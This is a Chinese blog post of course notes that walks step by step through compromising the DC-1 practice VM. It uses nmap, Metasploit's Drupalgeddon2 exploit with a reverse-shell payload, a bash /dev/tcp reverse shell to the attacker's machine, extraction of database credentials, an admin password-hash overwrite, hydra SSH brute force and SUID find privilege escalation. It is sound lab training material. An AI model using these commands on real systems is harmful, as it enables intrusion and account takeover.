引言:我的系列博客[网络安全学习篇]上线了,小编也是初次创作博客,经验不足;对千峰网络信息安全开源的视频公开课程的学习整理的笔记整理的也比较粗糙,其实看到目录有300多集的时候,讲道理,有点怂了,所以我就想到了通过写博客(课程笔记)的形式去学习它,虽然写博客会让我多花几倍的时间去学习它,但是当我完成一篇博客所获得的成就感和你们对于我的认同感,让我很满足,能够鼓励我一天天的坚持下去,也希望和我一起学习本期视频的"同道"们也能给一直坚持下去。我们大家一起加油。由于作者本身也是网络信息安全小白,大部分知识点都是初次接触,出现对其理解不深入,不完整,甚至也会出现错误有问题的地方,希望大家谅解、留言提出指正,同时也欢迎大家来找我一起交流学习!!!
往期博客:
第一阶段:
[网络安全学习篇1]:windowsxp、windows2003、windows7、windows2008系统部署(千峰网络安全视频笔记)
[网络安全学习篇24]:漏洞与木马(千峰网络安全视频笔记 p117-p118)
第二阶段:
[网络安全学习篇25]:初识Linux及简单命令
[网络安全学习篇32]:Linux脚本编写汇总及应用
第三阶段:
[网络安全学习篇33]:0基础带你入门python
[网络安全学习篇38]:基础环境搭建
[网络安全学习篇39]:HTML标签基础 常用的标签 表格
[网络安全学习篇42]:靶场环境搭建(ubuntu系统安装优化及vulhub安装)
[网络安全学习篇43]:PHP基础+变量 运算符 流程控制语句
[网络安全学习篇48]:JS 基础 函数 事件)
第四阶段:
[网络安全学习篇49]:渗透测试方法论
[网络安全学习篇50]:Web架构安全分析
[网络安全学习篇51]:信息收集
[网络安全学习篇52]:扫描技术
[网络安全学习篇53]:口令破解
[网络安全学习篇54]:SQL注入
[网络安全学习篇55]:SQL自动化注入
[网络安全学习篇56]:XSS
[网络安全学习篇57]:XSS(二)
[网络安全学习篇58]:PHP代码注入
[网络安全学习篇59]:OS命令注入
[网络安全学习篇60]:文件上传
[网络安全学习篇61]:文件包含
[网络安全学习篇62]:CSRF 攻击
[网络安全学习篇63]:SSRF
[网络安全学习篇64]:业务安全
[网络安全学习篇65]:提权
[网络安全学习篇66]:Metasploit(MSF)
[网络安全学习篇67]:python poc-exp
[网络安全学习篇68]:反序列化漏洞
[网络安全学习篇69]:渗透测试实战-DC-1-靶机入侵(本篇)
下期博文:
[网络安全学习篇70]:渗透测试实战-DC-2-靶机入侵
目录
DC-1 靶机实战
flag1
flag2
flag3
flag4
测试完成
靶机资源下载:
链接:https://pan.baidu.com/s/1L-fHw8bNAPHS6jHx1BJA3A
提取码:8r7m
打开测试靶机DC-1
查看网络配置,及网卡
靶机使用NAT 模式,得到其MAC地址
使用nmap 工具扫描内网网段
nmap -sP 192.168.1.144/24 -oN nmap.Sp
MAC 对照得到其IP地址
对其详细进行扫描
nmap -A 192.168.1.158 -p 1-65535 -oN nmap.A
可以看到其80 22 端口都是开放的
在80端口下,我们可以看到其网站的模板为:Drupal 7
22 爆破
80 drupal CMS
国外三大PHP CMS 之一
drupal
wordpress
joomla
其80端口开放,我们可以使用浏览器直接访问IP地址
MSF
通过使用MSF 直接搜索该网站模板存在的漏洞
启动
msfconsole
search drupal
使用该攻击模块
通过查看References来查看该漏洞的详细信息;
References:
https://cvedetails.com/cve/CVE-2018-7600/
https://www.drupal.org/sa-core-2018-002
https://greysec.net/showthread.php?tid=2912
https://research.checkpoint.com/uncovering-drupalgeddon-2/
https://github.com/a2u/CVE-2018-7600
https://github.com/nixawk/labs/issues/19
https://github.com/FireFart/CVE-2018-7600
选择攻击载荷
set payload php/meterpreter/reverse_tcp
缺少目标地址,源地址
添加
set RHOSTS 192.168.1.158
set LHOST 192.168.1.150
攻击
拿到shell
Every good CMS needs a config file - and so do you.
这句话 指引我们,应该去找的该网站的配置文件
所在目录:
sites/default/
cat sites/default/settings.php
'database' => 'drupaldb',
'username' => 'dbuser',
'password' => 'R0ck3t',
'host' => 'localhost',
shell
进入交互式界面
尝试进行数据库连接
mysql -udbuser -pR0ck3t
连接失败
考虑反弹shell
反弹shell
本地监听2333端口
nc -lvvp 2333
bash -i >& /dev/tcp/192.168.1.150/2333 0>&1
直接反弹失败
借助python 反弹
python -c 'import pty;pty.spawn("/bin/bash")'
www-data@DC-1:/var/www/sites/default$ bash -i >& /dev/tcp/192.168.1.150/2333 0>&1
反弹成功
登录数据库
尝试在反弹shell 下执行连接数据库
还是失败了
但是我们发现有意思的事情,我们在kali 本机的python 交互式环境下可以成功连接到数据库
www-data@DC-1:/var/www/sites/default$ mysql -udbuser -pR0ck3t
登入成功
进入数据库drupladb
查询users数据表
select * from users\G
重置后台管理员密码
重置admin 用户密码
这里我们破解admin 用户密码要耗费时间,我们可以考虑重置admin 用户密码,使用drupal 自带脚本重新生成密码。
php scripts/password-hash.sh admin
password: admin hash: $S$D9/EB/sN8TEfNaCZ74SqGVO0xxuOe/8fZI3LCOMVXSOqiqfNDwDt
更新users 表
update users set pass="$S$D9/EB/sN8TEfNaCZ74SqGVO0xxuOe/8fZI3LCOMVXSOqiqfNDwDt" where uid=1;
更新成功
提示我们 etc/passwd
可以看到我们的flag4 用户是可以登录的
接下来我们使用hydra 爆破,该用户密码
hydra -l flag4 -P /usr/share/john/password.lst 192.168.1.158 ssh -vV -f -o hydra.ssh
我们进入/root 家目录,发现没有权限
是否有一些命令具有SUID 标志
find / -perm -4000 2>/dev/null
利用操作系统内核提权
mkdir
find GGG -exec "whoami" \;
find GGG -exec "/bin/sh" \;
参考文献:
千峰网络信息安全开源课程